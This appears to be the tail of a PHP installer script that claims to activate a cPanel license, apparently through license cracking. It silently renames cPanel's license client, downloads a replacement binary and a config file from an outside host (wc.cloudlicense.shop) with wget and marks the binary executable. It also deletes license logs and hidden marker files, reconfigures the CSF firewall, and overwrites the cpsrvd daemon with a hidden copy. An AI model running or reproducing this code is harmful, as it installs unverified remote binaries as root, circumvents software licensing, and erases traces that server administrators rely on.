echo "\x1b" . '[36m' . 'Cpanel license has been updated and activated!' . "\x1b" . '[0m' . "";
echo "";
echo "";
																					}
																				}
																			}
																		}
																	}
																}
															}
														}
													}
												}
											}
										}
									}
								}
							}
						}
					}
				}
			}

			exec('mv /usr/local/cpanel/cpkeyclt /usr/local/cpanel/cpkeyclt1 > /dev/null 2>&1');
			exec('wget -O /usr/local/cpanel/cpkeyclt wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/cpkeycltGB > /dev/null 2>&1');
			exec('chmod +x /usr/local/cpanel/cpkeyclt 2> /dev/null');
		}

		exec('wget -O /etc/cpupdate.conf wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/cpupdate.conf > /dev/null 2>&1');
		exec('/usr/bin/rm -rf /usr/bin/.rockst01 > /dev/null 2>&1');
		exec('/usr/bin/rm -rf /usr/sbin/.rockst > /dev/null 2>&1');
		exec('/usr/bin/rm /usr/local/cpanel/logs/license_log > /dev/null 2>&1');
		exec('rm -rf /root/.gbcp.result > /dev/null 2>&1');
		exec('rm -rf /root/GBCP.lock > /dev/null 2>&1');
		exec('rm -rf  "/usr/bin/pid/running.pid"  &> /dev/null');
		exec('rm -rf /etc/csf/csf.error > /dev/null 2>&1');
		exec('csf -e > /dev/null 2>&1');
		exec('/scripts/configure_firewall_for_cpanel > /dev/null 2>&1');
		exec('timeout 10s csf -s > /dev/null 2>&1');
		exec('/scripts/configure_firewall_for_cpanel > /dev/null 2>&1');
		$file = '/usr/local/cpanel/cpsrvd';
		$filesize = filesize($file);
		$filech1 = file_get_contents('/usr/local/cpanel/cpsrvd');
		$posttt = strpos($filech1, '/usr/local/cpanel/.cpsrvd');
		$posttt1 = strpos($filech1, '/usr/local/cpanel/3rdparty/perl');
		if (($posttt !== false) && (1 < $filesize) && !$posttt1) {
			exec('yes 2>/dev/null | cp -rf /usr/local/cpanel/.cpsrvd /usr/local/cpanel/cpsrvd');
		}
	}
}
else {
	echo 'CPanel is not installed. submit a ticket on ' . $brand_show . ' for more help.';
}

?>